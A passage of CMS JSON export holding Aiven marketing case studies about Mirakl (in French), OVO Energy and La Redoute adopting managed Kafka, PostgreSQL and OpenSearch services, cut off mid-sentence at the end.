capacité."}],"markDefs":[],"style":"normal"},{"_key":"d5b45e628de3","_type":"block","children":[{"_key":"f650e546bcdc0","_type":"span","marks":[],"text":"Mirakl a également rencontré des problèmes de scalabilité. À mesure que l’activité de leurs clients augmentait, ces derniers souhaitaient acheter plus de capacité. Cependant, ajouter cette capacité nécessitait un effort considérable, et les clients étaient réticents à l’idée de s’engager sans possibilité de réduire leur capacité en cas de besoin. Cela freinait non seulement les clients, mais aussi la croissance et les résultats financiers de Mirakl."}],"markDefs":[],"style":"normal"},{"_key":"4b469947a834","_type":"block","children":[{"_key":"86f0fb124dc70","_type":"span","marks":[],"text":"En 2016, Mirakl a décidé d’abandonner le monolithique. L’entreprise a choisi de passer à une architecture microservices cloud-native, réduisant les temps d’arrêt et facilitant la scalabilité. Mirakl souhaitait également une solution véritablement open source pour éviter toute dépendance à un fournisseur."}],"markDefs":[],"style":"normal"}],"title":"Le défi","variant":"oneColumn"},{"_key":"87e55494705d","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"c90e721e0b9d","_type":"block","children":[{"_key":"eddf95dd3ccb0","_type":"span","marks":[],"text":"Dès le départ, Mirakl savait qu'"},{"_key":"9e964ae8fa69","_type":"span","marks":["13352d7afe5f"],"text":"Apache Kafka était la seule solution adaptée"},{"_key":"0a6076bf443c","_type":"span","marks":[],"text":" à son activité."}],"markDefs":[{"_key":"13352d7afe5f","_type":"internalLink","internalLink":{"_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}}],"style":"normal"},{"_key":"7a742d4bad34","_type":"block","children":[{"_key":"5e6418d869f70","_type":"span","marks":[],"text":"Initialement, ils géraient eux-mêmes un cluster Apache Kafka, mais ils ont rapidement découvert à quel point cela pouvait être laborieux. « Nous l’avons mis à jour deux fois par nos propres moyens, et après la deuxième fois, j’ai juré de ne plus jamais recommencer », explique Matthieu Mouminoux, Lead Architect chez Mirakl."}],"markDefs":[],"style":"normal"},{"_key":"49bfffbdea56","_type":"block","children":[{"_key":"6e328e889cb20","_type":"span","marks":[],"text":"Ils ont alors commencé à chercher un fournisseur SaaS pour gérer l’ensemble de leur système Kafka."}],"markDefs":[],"style":"normal"},{"_key":"5fd059610782","_type":"block","children":[{"_key":"92d5f71842ae0","_type":"span","marks":[],"text":"« Nous recherchions un partenaire avec un haut niveau d’excellence opérationnelle », déclare Nagi Letaifa, VP of Engineering chez Mirakl. « Ce partenaire devait également offrir un support étendu et être largement conforme aux normes de sécurité. »"}],"markDefs":[],"style":"normal"},{"_key":"6ca53698d100","_type":"block","children":[{"_key":"6670e50e8e220","_type":"span","marks":[],"text":"Ils ont découvert une jeune entreprise appelée Aiven, qui proposait une solution Apache Kafka entièrement gérée, avec des tarifs transparents et une mise en place facile."}],"markDefs":[],"style":"normal"},{"_key":"52031b72e01c","_type":"block","children":[{"_key":"6656d18444410","_type":"span","marks":[],"text":"« J’ai apprécié le fait que vous créiez un compte et que cela fonctionne immédiatement. Pas besoin d’appeler le fournisseur ou d’organiser des réunions de mise en œuvre », explique Matthieu. Cela a rendu le test et l’évaluation du service simples, permettant une meilleure compréhension de ce qu’ils allaient adopter."}],"markDefs":[],"style":"normal"},{"_key":"5c587eea1098","_type":"block","children":[{"_key":"8d966209c9b50","_type":"span","marks":[],"text":"Les vérifications de Mirakl ont rapidement révélé qu’Aiven respectait toutes les principales réglementations en matière de sécurité des données. Après une période de tests légers, Mirakl a décidé d’explorer Aiven for Apache Kafka de manière plus approfondie."}],"markDefs":[],"style":"normal"}],"title":"La solution","variant":"oneColumn"},{"_key":"7fb0d7e6f334","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"8548e3b03ad4","_ref":"3tXwSEUdnarePzOUOioUIA__i18n_fr","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"f843584ceba7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"b25c25b8a11a","_type":"block","children":[{"_key":"5ae4208b3dd00","_type":"span","marks":[],"text":"Mirakl est satisfait. Ils constatent de nombreux avantages à utiliser Aiven for Apache Kafka plutôt que de configurer leur propre cluster Kafka. L’un des principaux atouts est qu’Aiven prend en charge toutes les tâches de gestion et de mise à jour."}],"markDefs":[],"style":"normal"},{"_key":"4561477316e6","_type":"block","children":[{"_key":"29e68670463a0","_type":"span","marks":[],"text":"« Il est essentiel pour nous que nos développeurs se concentrent sur la création de valeur, plutôt que de lutter avec les opérations », déclare Nagi. « Pour le dire franchement, nous sommes une entreprise de marketplace en ligne, pas des gestionnaires de Kafka. »"}],"markDefs":[],"style":"normal"},{"_key":"c683c046fc9f","_type":"block","children":[{"_key":"bdb08296d4d10","_type":"span","marks":[],"text":"Mirakl découvre également que leur temps de mise sur le marché s’est considérablement réduit. La raison en est profondément ancrée dans les bases. Une application monolithique repose sur un code source unique, ce qui limite le nombre de développeurs ou d’équipes pouvant y travailler simultanément. Avec les microservices, plusieurs équipes peuvent travailler sur différentes parties du système en même temps. Cela réduit le temps de développement et augmente l’agilité de l’entreprise."}],"markDefs":[],"style":"normal"},{"_key":"b4a037ff513d","_type":"block","children":[{"_key":"5519934e574f0","_type":"span","marks":[],"text":"À première vue, utiliser un service managé semble plus coûteux qu’un cluster auto-hébergé. Mais en prenant en compte les coûts de maintenance, de support et de développement des connecteurs, ainsi que la préoccupation constante de conserver des ressources critiques, le coût total de possession est en réalité bien plus bas."}],"markDefs":[],"style":"normal"},{"_key":"43dd3bde3fdb","_type":"block","children":[{"_key":"272bda7eb5340","_type":"span","marks":[],"text":"Actuellement, Mirakl utilise environ 100 serveurs et de nombreux microservices ; Kafka traite environ 9000 messages par seconde. Cela rend les mises à jour complexes, mais ce n’est plus un problème pour Mirakl."}],"markDefs":[],"style":"normal"},{"_key":"a72208d83ef1","_type":"block","children":[{"_key":"657a880b76170","_type":"span","marks":[],"text":"« Grâce à Aiven, le temps que nos équipes consacraient à gérer Apache Kafka peut désormais être investi dans notre activité principale. Nous avons trouvé exactement le partenaire que nous recherchions. Ils prennent en charge l’infrastructure de manière sécurisée et fiable, mais nous gardons toujours le contrôle de nos propres données. »"}],"markDefs":[],"style":"normal"}],"title":"Le résultat","variant":"oneColumn"},{"_key":"d3619318c40d","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"8a08633d6a5e","_ref":"6o19IduEDExw1J5ljgPfvG__i18n_fr","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"gatedContent":[{"_key":"600c861936c6","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"c86f4fc76754","_type":"block","children":[{"_key":"c7285d8d61fa0","_type":"span","marks":[],"text":"Fast growing online marketplace platform provider Mirakl was spending too much time and effort creating and maintaining a monolith system for each customer. Aiven for Apache Kafka enabled their transformation to cloud-native services, offering a scalable managed solution for a microservice architecture."}],"markDefs":[],"style":"normal"},{"_key":"25c440217136","_type":"block","children":[{"_key":"985b7236146f0","_type":"span","marks":[],"text":"Operating expenses reduced by 70%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5b526e567716","_type":"block","children":[{"_key":"69c97c5f65c30","_type":"span","marks":[],"text":"Agile development process enabled"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8a4461401171","_type":"block","children":[{"_key":"d01c7f4434f50","_type":"span","marks":[],"text":"Time to market improved"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c2c9e3c53b9d","_type":"block","children":[{"_key":"b796b0c2f9ee0","_type":"span","marks":[],"text":"Managed solution without surrendering control of data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Summary","variant":"oneColumn"}],"heroSubtitle":"Ce fournisseur de marketplace en ligne est passé au cloud, en utilisant Apache Kafka pour améliorer sa scalabilité et réduire les efforts de maintenance.","heroTitle":"Mirakl adopte le cloud-native avec Aiven","hostProviders":[{"_key":"2f4811fdc0e4","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2021-12-28/74gcd","iframeTitle":"Mirakl case study","title":"Read the rest of this case study by leaving your contact below. Your information is not shared publicly."},"image":{"_type":"mainImage","asset":{"_ref":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and Internet","value":"software-and-internet"}],"publishedAt":"2021-12-09T12:02:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka® enabled online marketplace platform provider Mirakl to transform to cloud-native services and reduced their OpEx by 70%.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-b721f4d2e8d674daea7445cdc07bcaa9988d199a-1200x630-jpg","_type":"reference"}},"metaTitle":"Mirakl goes cloud-native with Aiven"},"services":[{"_key":"9e83e97bffcb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"c6940e61cabe","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/mirakl-goes-cloud-native-with-aiven"},"title":"Mirakl"} {"__i18n_lang":"en","_createdAt":"2022-09-05T08:33:24Z","_id":"1bbd57e8-62ea-4ddc-a68e-96cd7daf90af","_rev":"DEr13LRm8S6bXdr2Y1IPae","_type":"caseStudy","_updatedAt":"2023-06-20T08:05:48Z","company":{"_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"},"content":[{"_key":"0a9874fc3ef4","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"87b306506ce7","_type":"block","children":[{"_key":"0314634f58da0","_type":"span","marks":[],"text":"With Aiven for Apache Kafka®, Aiven helps OVO Energy power up their data and cut carbon emissions. Find out more in our case study!"}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"ff778b0f7ff4","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"dbe1073d976a","_type":"block","children":[{"_key":"361d457688870","_type":"span","marks":[],"text":"OVO Energy was founded in 2009 and redesigned the energy experience to be fair, effortless, green and simple for all customers. The company has spent the last decade investing in the market leading technology, customer service operations and digital products to help members cut their carbon emissions. OVO is on a mission through its sustainability strategy Plan Zero to tackle the most important issue of our time; the climate crisis, by bringing customers with them on the journey towards zero carbon living. OVO Energy has committed to being a net zero carbon business and achieve bold science-based carbon reduction targets by 2030, while helping members halve their carbon footprint at the same time.\n\nWith the smart meters that OVO continues to install in homes, their customers can take control of their own energy usage. The smart meter data is used to collect metrics that are analysed to gain insights and create energy usage experiences that support their energy and carbon saving goals."}],"markDefs":[],"style":"normal"},{"_key":"3e7c94faa033","_type":"block","children":[{"_key":"d8119e0749a10","_type":"span","marks":[],"text":"The applications that collect OVO’s business and climate critical data require a robust and reliable underlying data architecture. The Head of Technology, Jon Dodkins, explains:"}],"markDefs":[],"style":"normal"},{"_key":"d1d983c76d85","_type":"block","children":[{"_key":"d68f4d2ef0a10","_type":"span","marks":[],"text":"“It’s vital that the reactive architecture we’re building is flexible, extensible and able to scale rapidly.”"}],"markDefs":[],"style":"normal"},{"_key":"7930ffc3ae66","_type":"block","children":[{"_key":"b11636d03d810","_type":"span","marks":[],"text":"OVO needed a fault-tolerant, high-performing messaging system that was up to the task. The required system would act as a go-between in a system of multiple data-collecting applications. Because the field is in such rapid development, it was always clear that this would include applications that had not even been created yet. In other words, they needed Apache Kafka®."}],"markDefs":[],"style":"normal"},{"_key":"61a3c8ed22ba","_type":"block","children":[{"_key":"cc1693846b760","_type":"span","marks":[],"text":"Given the scope of their ambition for customer service, the chosen provider also needed to offer services they could use to build a “bespoke managed package”. Since they did not want to tie up resources in data infrastructure management, they wanted a fully managed arrangement that would be easy to implement and reliable, including all required extensions and integrations."}],"markDefs":[],"style":"normal"}],"title":"The Challenge","variant":"oneColumn"},{"_key":"b82b6b7b1411","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"5b9192540132","_type":"block","children":[{"_key":"1679bfaf2b3e0","_type":"span","marks":[],"text":"Going open source is a good answer to the problem of changeability. In terms of actual providers, Aiven offers full support to move to and away from the platform. With Aiven, OVO was able to deploy a Kafka cluster in the cloud and region of their choice and easily integrate Aiven for Kafka at the heart of their architecture."}],"markDefs":[],"style":"normal"},{"_key":"acd8e2d4e1cc","_type":"block","children":[{"_key":"8ca7af6bafa30","_type":"span","marks":[],"text":"Implementing the new architecture turned out to be a straightforward process, supported all the way by Aiven engineers whenever need arose."}],"markDefs":[],"style":"normal"},{"_key":"a14609d503fc","_type":"block","children":[{"_key":"50d40cc34fed0","_type":"span","marks":[],"text":"The next logical step was to integrate Aiven for Kafka with tools that allowed OVO to monitor and set alerts for essential Kafka metrics. The Aiven metrics and logging integration made this simple to do through their API with only a few clicks, allowing OVO to select the best tools for the job at hand."}],"markDefs":[],"style":"normal"},{"_key":"0b5255d026eb","_type":"block","children":[{"_key":"e8ef0364f8700","_type":"span","marks":[],"text":"Aiven’s services have the same user experience regardless of the cloud they are running on, which means they fit seamlessly into OVO’s multi-cloud architecture. With data being processed in pipelines running on one public cloud and later analysed in another cloud, Aiven’s Kafka bridges the gap and enables OVO’s development teams to always select the best tool for any problem."}],"markDefs":[],"style":"normal"}],"title":"The Solution","variant":"oneColumn"},{"_key":"309efcdc5854","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"b84a4ccbe93e","_type":"block","children":[{"_key":"e22c5218f84c0","_type":"span","marks":[],"text":"Using the Aiven platform allows the OVO team to focus their resources on developing and maintaining their applications and business logic, instead of managing software infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"3ea924f9bd05","_type":"block","children":[{"_key":"6de667cb03cd0","_type":"span","marks":[],"text":"With their current Aiven for Kafka implementation, OVO has space to grow and add new services and integrations. Because the services Aiven provides are so flexible, they’re also able to experiment with new use cases. Climate science advances in leaps and bounds, and with Aiven, OVO is able not only to keep up but also drive the change in the world."}],"markDefs":[],"style":"normal"}],"title":"The Outcome","variant":"oneColumn"}],"contentIsGated":false,"heroSubtitle":"OVO is a UK-based energy company. It uses an Apache Kafka-based data infrastructure to meet its sustainability goals.","heroTitle":"OVO Energy powers up their data with Aiven","hostProviders":[{"_key":"47466ecdda9b","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"6bde8e84b50c","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"fbc70238-6d5b-4a3c-9bc8-f09256208390","label":"Energy and Utilities","value":"energy-and-utilities"}],"publishedAt":"2021-09-02T10:57:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"With Aiven for Apache Kafka®, Aiven helps OVO Energy power up their data and cut carbon emissions. Find out more in our case study!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a22eb96e52940c3379eeb992650e2702c8a414c4-1200x630-jpg","_type":"reference"}},"metaTitle":"OVO Energy powers up their data with Aiven"},"services":[{"_key":"861491dea9eb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-for-apache-kafka-helps-ovo"},"title":"OVO Energy"} {"__i18n_lang":"en","_createdAt":"2024-06-26T09:03:24Z","_id":"7455e64b-e73e-4edd-86fa-be656d250d3c","_rev":"B04nz37LKozZFxwmhIqVts","_type":"caseStudy","_updatedAt":"2024-07-29T08:45:23Z","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"db614d8ffe62","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"258edbff8941","_type":"block","children":[{"_key":"16180a9be0980","_type":"span","marks":[],"text":"E-commerce giant La Redoute needed to migrate its data infrastructure from a leading cloud provider to Microsoft Azure for enhanced scalability and improved handling of peak loads during events like Black Friday. Leveraging the Aiven Platform, the company seamlessly transitioned its PostgreSQL, Apache Kafka and OpenSearch clusters to Azure. Additionally, by embracing Aiven’s Bring Your Own Cloud (BYOC) deployment model, La Redoute achieved substantial reductions in the total cost of ownership (TCO) for its Azure footprint."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"5ee279f88266","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"b5b62636e8d8","_type":"block","children":[{"_key":"ff9f743c42290","_type":"span","marks":[],"text":"La Redoute, founded 186 years ago in France as a wool spinning factory, has grown into an e-commerce leader in home, decoration and fashion as part of the Galeries Lafayette group. With over 10 million customers across 26 countries, digital innovation is key to its success. Its online marketplace features thousands of items from La Redoute and 800+ other brands like Adidas, Mango, and Monoprix. By leveraging data insights, La Redoute aims to create superior digital services, delivering an unmatched customer experience and staying ahead in the market."}],"markDefs":[],"style":"normal"}],"title":"Two centuries of reinvention ","topOverlap":false,"variant":"oneColumn"},{"_key":"dac8d84200ed","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"91e1aa3de532","_type":"block","children":[{"_key":"4ece7d6332d10","_type":"span","marks":[],"text":"In 2020, when the COVID-19 pandemic struck and people were spending more time at home, La Redoute experienced a sudden and significant uplift in sales. As transactions in its marketplace increased, the associated data grew exponentially putting pressure on the on-premises PostgreSQL databases already storing a large amount of data such as product prices, SKUs and sellers."}],"markDefs":[],"style":"normal"},{"_key":"934af31f3fd7","_type":"block","children":[{"_key":"d196e57b3583","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"dd28946cdfb0","_type":"image","asset":{"_ref":"image-ec6a85d5eb982a4b3d305db58fc6f35e282306cd-1200x628-png","_type":"reference"}},{"_key":"18b2688e2dfe","_type":"block","children":[{"_key":"71778fdbaadb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"3803f12dbbfd","_type":"block","children":[{"_key":"bebac5af8f620","_type":"span","marks":[],"text":"Already a user of Aiven for Apache Kafka for data streaming, La Redoute turned to Aiven to increase the scalability of its PostgreSQL databases. Diogo and his team moved the databases to the public cloud using Aiven for PostgreSQL, and also started using Aiven for OpenSearch to ingest and analyze all the logs generated by the PostgreSQL databases. La Redoute experienced an immediate increase in the scalability of its data infrastructure and was able to meet the unprecedented demand resulting from the pandemic."}],"markDefs":[],"style":"normal"}],"title":"Surge in sales requires cloud scalability","topOverlap":false,"variant":"oneColumn"},{"_key":"908d318a993b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"0c905e58e9c0","_type":"block","children":[{"_key":"2eaccffa16350","_type":"span","marks":[],"text":"Soon after, in late 2022, La Redoute chose Microsoft Azure as its cloud provider in a bid to make the company even more agile, responsive and scalable. This would make it easier for La Redoute to handle the various load peaks linked to major commercial events such as sales, Christmas and Black Friday."},{"_key":"2eaccffa16351","_type":"span","marks":["strong"],"text":" "},{"_key":"2eaccffa16352","_type":"span","marks":[],"text":"Migrating everything to Azure, a complex and business-critical undertaking that typically takes months, became necessary. For Diogo and the La Redoute teams, this included the existing Aiven services as well as other databases and workloads running on both the legacy cloud and on-premises environments."}],"markDefs":[],"style":"normal"},{"_key":"4aa43aacf169","_type":"block","children":[{"_key":"2d6a80039b15","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"8ec85207ed13","_type":"block","children":[{"_key":"f33786e51f5a0","_type":"span","marks":[],"text":"As part of planning the switch to Microsoft Azure, Diogo and his team forecasted increased costs moving to a new cloud region. They explored the Aiven BYOC model for La Redoute, finding it would allow La Redoute to run Aiven services in its Azure account. Concluding that BYOC would enhance cost control and lead to overall cost reduction, it became La Redoute's preferred data infrastructure option."}],"markDefs":[],"style":"normal"}],"title":"BYOC deployment on Microsoft Azure","topOverlap":false,"variant":"oneColumn"},{"_key":"b1266946b16b","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-58bb3b036942bf2862c62f77cf55d92680a40658-1090x614-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"080d1d8455d8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"fd01f49ae981","_type":"block","children":[{"_key":"53d5a2c6b5d50","_type":"span","marks":[],"text":"The company embarked on the multi-faceted migration to Azure. For PostgreSQL, the La Redoute team initially planned to use Aiven tooling, allowing a one-click migration option across clouds and regions. However, as migrations are often used to rework some implementation details, the team took the opportunity to modernize the Terraform scripts used to define the previous cloud platform and upgrade PostgreSQL to the latest version. Due to these changes, the PostgreSQL migration was performed using the traditional setting of building the target infrastructure and then, after syncing the data, switching over."}],"markDefs":[],"style":"normal"},{"_key":"329680524490","_type":"block","children":[{"_key":"148c61bd7570","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6b50f5352f41","_type":"block","children":[{"_key":"fa79c76d7d8e0","_type":"span","marks":[],"text":"“Most of our PostgreSQL migration time was spent doing automation, but once we got those sprints down, we had days where we moved 25 databases.\""}],"markDefs":[],"style":"normal"},{"_key":"8dfe47f06878","_type":"block","children":[{"_key":"d2dd1d9554a8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a48cea1a7ebf","_type":"image","asset":{"_ref":"image-ce3c3156538fd01b4b7c4db0c7bb350590fcb050-1200x628-png","_type":"reference"}},{"_key":"32835fc1f197","_type":"block","children":[{"_key":"2f2d9189026f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"89ed8241f33e","_type":"block","children":[{"_key":"e64f6fbcda08","_type":"span","marks":[],"text":"The rest of the migrations, such as Aiven for Kafka and Aiven for OpenSearch, were much simpler and faster. LaRedoute didn’t need any modifications so relied on the Aiven one-click migration tooling and Aiven team expertise to prepare, execute and monitor the transition."}],"markDefs":[],"style":"normal"},{"_key":"3a1679ca6044","_type":"block","children":[{"_key":"7102ddad2acd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a6c69f7f71f2","_type":"block","children":[{"_key":"7864935f25020","_type":"span","marks":[],"text":"Reflecting on the cloud migration, Diogo says: “Usually, if an organization decides to switch wholesale to a different hyperscaler, it creates all sorts of headaches. But migrating our Aiven services was seamless. The only hassle was on our side, with our code, and we restructured it. The fact that Aiven is cloud agnostic, and we can change clouds with one push of a button, is a huge win for us and saved us a lot of time.”"}],"markDefs":[],"style":"normal"}],"title":"Migrating cloud infrastructure at the click of a button","topOverlap":false,"variant":"oneColumn"},{"_key":"9a36a7ff7d78","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"4bbda0998285","_type":"block","children":[{"_key":"180d7bce76b70","_type":"span","marks":[],"text":"The BYOC model has enabled La Redoute to reduce the TCO of the Azure cloud infrastructure related to its Aiven services. The company has achieved this by using Cost Savings plans, Committed Use Discounts (CUDs) and other billing and pricing features available from Microsoft."}],"markDefs":[],"style":"normal"},{"_key":"db8a722d1c8f","_type":"block","children":[{"_key":"983bda1ff2f10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5506d9990721","_type":"block","children":[{"_key":"13db01be344b0","_type":"span","marks":[],"text":"“By moving to BYOC, we gained control of our cloud costs. We were able to bring the additional cost of moving from a 40% increase to a 14% increase. This was entirely acceptable to the business given the shift to new, more expensive Azure regions. We then launched internal initiatives within the DBA team to reduce this increase to a net positive in savings, one example being the automated shutdown of nonproduction databases out of working hours,” says Diogo."}],"markDefs":[],"style":"normal"},{"_key":"08ce9fd1385b","_type":"block","children":[{"_key":"63c0ebe23dd4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ec06fb3d3a70","_type":"block","children":[{"_key":"9ec7c713e00a","_type":"span","marks":[],"text":"Another key benefit realized from the BYOC deployment is that it helps La Redoute meet regulatory and compliance requirements like GDPR. “Our security team really likes the Aiven BYOC model."},{"_key":"c7f6cab4cdf11","_type":"span","marks":["strong"],"text":" "},{"_key":"c7f6cab4cdf12","_type":"span","marks":[],"text":"Because the whole database infrastructure — including customer data — is now on our tenant, it’s more easily managed and tightly controlled.”"}],"markDefs":[],"style":"normal"},{"_key":"818151f30fbe","_type":"block","children":[{"_key":"0a1a3e33d9800","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Reduced TCO and improved security with BYOC ","topOverlap":false,"variant":"oneColumn"},{"_key":"2feef7ff6a67","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"ad0e1d709ae0","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c6b5f55cae8e","_type":"block","children":[{"_key":"7a54cc5979350","_type":"span","marks":[],"text":"The Aiven Platform has enabled Diogo to extend the team’s capabilities to deliver more value to more parts of the business. Now Aiven supports all of La Redoute’s business domains from logistics and marketing to order and payment systems."}],"markDefs":[],"style":"normal"},{"_key":"ee7f30c5028c","_type":"block","children":[{"_key":"89b5a29bc1d30","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f08b3f6c8d3c","_type":"block","children":[{"_key":"fd8bde9dd6720","_type":"span","marks":[],"text":"“The team used to have a traditional DBA mentality and was spending up to 90% of the day doing maintenance, patching and upgrades. That’s all handled by Aiven now, freeing up the team to focus on business projects and delivering solutions much faster. We can deploy databases in minutes rather than weeks,” says Diogo."}],"markDefs":[],"style":"normal"},{"_key":"2844129c0142","_type":"block","children":[{"_key":"a0182b536a71","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a090bed0f4e5","_type":"image","asset":{"_ref":"image-662b6420b98b6f16168915e148e936fd32823db2-1200x628-png","_type":"reference"}},{"_key":"a7850b244c3e","_type":"block","children":[{"_key":"6ac526ed36130","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"1877dce97b79","_type":"block","children":[{"_key":"7f87345cb303","_type":"span","marks":[],"text":"La Redoute is evaluating other Aiven services. Diogo says, “We’re exploring opportunities in the observability layer with Grafana and OpenSearch and on the database side with MySQL. We’re also really interested in the AI-driven optimization capabilities of EverSQL by Aiven, particularly if that extends to other Aiven solutions.”"}],"markDefs":[],"style":"normal"}],"title":"Delivering strategic value to the business, faster","topOverlap":false,"variant":"oneColumn"},{"_key":"d97f5ac05718","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"8adc3681dae3","_type":"block","children":[{"_key":"e7c7600e9d810","_type":"span","marks":[],"text":"La Redoute has plans to standardize its digital operations across countries to improve efficiencies and to make the rollout of new solutions easier. “We need to build unifying systems that can be used by every country and enable us to respond to the business in a faster and more agile way. A lot of these systems will use the Aiven Platform,” says Diogo."}],"markDefs":[],"style":"normal"},{"_key":"2449f1e1383e","_type":"block","children":[{"_key":"3500abe459590","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"419b2135a308","_type":"block","children":[{"_key":"c2a2921dc7b00","_type":"span","marks":[],"text":"This sentiment is echoed by João Granja, 